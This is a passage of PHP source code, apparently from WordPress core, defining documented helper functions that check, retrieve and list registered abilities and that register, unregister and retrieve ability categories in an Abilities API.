wp_has_ability( string $name ): bool { $registry = WP_Abilities_Registry::get_instance(); if ( null === $registry ) { return false; } return $registry->is_registered( $name ); } /** * Retrieves a registered ability. * * Returns the ability instance for inspection or use. The instance provides access * to the ability's configuration, metadata, and execution methods. * * Example: * * // Prints information about a registered ability. * $ability = wp_get_ability( 'my-plugin/export-data' ); * if ( $ability ) { * echo $ability->get_label() . ': ' . $ability->get_description(); * } * * @since 6.9.0 * * @see WP_Abilities_Registry::get_registered() * @see wp_has_ability() * * @param string $name The name of the ability, including namespace prefix * (e.g., 'my-plugin/my-ability'). * @return WP_Ability|null The registered ability instance, or `null` if not registered. */ function wp_get_ability( string $name ): ?WP_Ability { $registry = WP_Abilities_Registry::get_instance(); if ( null === $registry ) { return null; } return $registry->get_registered( $name ); } /** * Retrieves all registered abilities. * * Returns an array of all ability instances currently registered in the system. * Use this for discovery, debugging, or building administrative interfaces. * * Example: * * // Prints information about all available abilities. * $abilities = wp_get_abilities(); * foreach ( $abilities as $ability ) { * echo $ability->get_label() . ': ' . $ability->get_description() . "\n"; * } * * @since 6.9.0 * * @see WP_Abilities_Registry::get_all_registered() * * @return WP_Ability[] An array of registered WP_Ability instances. Returns an empty * array if no abilities are registered or if the registry is unavailable. */ function wp_get_abilities(): array { $registry = WP_Abilities_Registry::get_instance(); if ( null === $registry ) { return array(); } return $registry->get_all_registered(); } /** * Registers a new ability category. * * Ability categories provide a way to organize and group related abilities for better * discoverability and management. Ability categories must be registered before abilities * that reference them. * * Ability categories must be registered on the `wp_abilities_api_categories_init` action hook. * * Example: * * function my_plugin_register_categories() { * wp_register_ability_category( * 'content-management', * array( * 'label' => __( 'Content Management', 'my-plugin' ), * 'description' => __( 'Abilities for managing and organizing content.', 'my-plugin' ), * ) * ); * } * add_action( 'wp_abilities_api_categories_init', 'my_plugin_register_categories' ); * * @since 6.9.0 * * @see WP_Ability_Categories_Registry::register() * @see wp_register_ability() * @see wp_unregister_ability_category() * * @param string $slug The unique slug for the ability category. Must contain only lowercase * alphanumeric characters and dashes (e.g., 'data-export'). * @param array<string, mixed> $args { * An associative array of arguments for the ability category. * * @type string $label Required. The human-readable label for the ability category. * @type string $description Required. A description of what abilities in this category do. * @type array<string, mixed> $meta Optional. Additional metadata for the ability category. * } * @return WP_Ability_Category|null The registered ability category instance on success, `null` on failure. */ function wp_register_ability_category( string $slug, array $args ): ?WP_Ability_Category { if ( ! doing_action( 'wp_abilities_api_categories_init' ) ) { _doing_it_wrong( __FUNCTION__, sprintf( /* translators: 1: wp_abilities_api_categories_init, 2: ability category slug. */ __( 'Ability categories must be registered on the %1$s action. The ability category %2$s was not registered.' ), '<code>wp_abilities_api_categories_init</code>', '<code>' . esc_html( $slug ) . '</code>' ), '6.9.0' ); return null; } $registry = WP_Ability_Categories_Registry::get_instance(); if ( null === $registry ) { return null; } return $registry->register( $slug, $args ); } /** * Unregisters an ability category. * * Removes a previously registered ability category from the global registry. Use this to * disable ability categories that are no longer needed. * * Can be called at any time after the ability category has been registered. * * Example: * * if ( wp_has_ability_category( 'deprecated-category' ) ) { * wp_unregister_ability_category( 'deprecated-category' ); * } * * @since 6.9.0 * * @see WP_Ability_Categories_Registry::unregister() * @see wp_register_ability_category() * * @param string $slug The slug of the ability category to unregister. * @return WP_Ability_Category|null The unregistered ability category instance on success, `null` on failure. */ function wp_unregister_ability_category( string $slug ): ?WP_Ability_Category { $registry = WP_Ability_Categories_Registry::get_instance(); if ( null === $registry ) { return null; } return $registry->unregister( $slug ); } /** * Checks if an ability category is registered. * * Use this for conditional logic and feature detection before attempting to * retrieve or use an ability category. * * Example: * * // Displays different UI based on available ability categories. * if ( wp_has_ability_category( 'premium-features' ) ) { * echo 'Premium Features Available'; * } else { * echo 'Standard Features'; * } * * @since 6.9.0 * * @see WP_Ability_Categories_Registry::is_registered() * @see wp_get_ability_category() * * @param string $slug The slug of the ability category to check. * @return bool `true` if the ability category is registered, `false` otherwise. */ function wp_has_ability_category( string $slug ): bool { $registry = WP_Ability_Categories_Registry::get_instance(); if ( null === $registry ) { return false; } return $registry->is_registered( $slug ); } /** * Retrieves a registered ability category. * * Returns the ability category instance for inspection or use. The instance provides access * to the ability category's configuration and metadata. * * Example: * * // Prints information about a registered ability category. * $ability_category = wp_get_ability_category( 'content-management' ); * if ( $ability_category ) { * echo $ability_category->get_label() . ': ' . $ability_category->get_description(); * } * * @since 6.9.0 * * @see WP_Ability_Categories_Registry::get_registered() * @see wp_has_ability_category() * @see wp_get_ability_categories() * * @param string $slug The slug of the ability category. * @return WP_Ability_Category|null The ability category instance, or `null` if not registered. */ function wp_get_ability_category( string $slug ): ?WP_Ability_Category { $registry = WP_Ability_Categories_Registry::get_instance(); if ( null === $registry ) { return null; } return $registry->get_registered( $slug ); } /** * Retrieves all registered ability categories. * * Returns an array of all ability category instances currently registered in the system. * Use this for discovery, debugging, or building administrative interfaces. * * Example: * * // Prints information about all available ability categories. * $ability_categories = wp_get_ability_categories(); * foreach ( $ability_categories as $ability_category ) { * echo $ability_category->get_label() . ': ' . $ability_category->get_description() . "\n"; * } * * @since 6.9.0 * * @see WP_Ability_Categories_Registry::get_all_registered() * @see wp_get_ability_category() * * @return WP_Ability_Category[] An array of registered ability category instances. Returns an empty array * if no ability categories are registered or if the registry is unavailable. */ function wp_get_ability_categories(): array { $registry = WP_Ability_Categories_Registry::get_instance(); if ( null === $registry ) { return array(); } return $registry->get_all_registered(); }